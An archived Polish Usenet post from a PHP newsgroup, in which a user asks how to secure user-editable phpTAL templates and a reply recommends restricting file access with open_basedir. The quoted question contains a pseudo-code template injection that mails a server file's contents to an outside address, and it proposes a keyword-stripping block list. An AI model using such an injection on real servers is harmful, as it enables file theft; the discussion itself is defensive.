🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: pl.comp.lang.php
Article #220051

Re: Detekcja proxy

#220051
From: bofh
Date: Mon, 10 Aug 2009 14:45
31 lines
1994 bytes
Koteczek wrote:
> nie w temacie ale Ty jestes guru od phpTAL.
> 
> Jesli jednak chcialbym aby end-user mogl edytowac szablony phptal,
> trzymane w bazie danych na przyklad, to co musze oczyscic by zachowac
> bezpieczenstwo?
> 
> Chodzi mi o przypadek gdy ktos uzywajac instrukcji php: w ramach
> szablonu phpTAL np odczyta wszystkie inne pliki na serwerze i je sobie
> wysle.
> 
> Cos ala (pseudo kod)
> 
> <a tal:condition="php: mail('adres@serwer.pl', filegetcontent(jakis
> plik))" />
> 
> Chce sie przed tym uchronic ale nadal uzywac phpTAL.
> 
> Czy wystarczy ze zanim zrobie $user_template->execute() to oczyszcze kod
> html ze wszystkich wystapien "php:" i "eval", "tal:" zamieniajac je na '' ?
> 
> W normalnym tekscie nikt nie powinien uzyc php: ani eval ani tal: ,
> usuwac te znaczniki przed wykonanien szablonu bedzie zapewnialo mi
> bezpieczenstwo czy nie?
> 

Od złej strony podchodzisz. Serwer powinien uniemożliwiać czytanie
plików z katalogów inne niż wyznaczone. Poszukaj o open_base_dir.
Zabezpieczenia w kodzie php to już musztarda po obiedzie.

wer
Technical Details
Message-ID: <h5p1b0$u1d$1@node1.news.atman.pl>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed.atman.pl!not-for-mail
References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local> <h5pavs$4f3$1@nemesis.news.neostrada.pl>

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed.atman.pl!not-for-mail
From: "bofh@nano.pl" <bofh@nano.pl>
Newsgroups: pl.comp.lang.php
Subject: Re: Detekcja proxy
Date: Mon, 10 Aug 2009 16:45:20 +0200
Organization: ATMAN
Lines: 31
Message-ID: <h5p1b0$u1d$1@node1.news.atman.pl>
References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local> <h5pavs$4f3$1@nemesis.news.neostrada.pl>
NNTP-Posting-Host: 195.78.66.5
Mime-Version: 1.0
X-Trace: node1.news.atman.pl 1249904800 30765 195.78.66.5 (10 Aug 2009 11:46:40 GMT)
X-Complaints-To: usenet@atman.pl
NNTP-Posting-Date: Mon, 10 Aug 2009 11:46:40 +0000 (UTC)
User-Agent: Thunderbird 2.0.0.22 (X11/20090625)
In-Reply-To: <h5pavs$4f3$1@nemesis.news.neostrada.pl>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit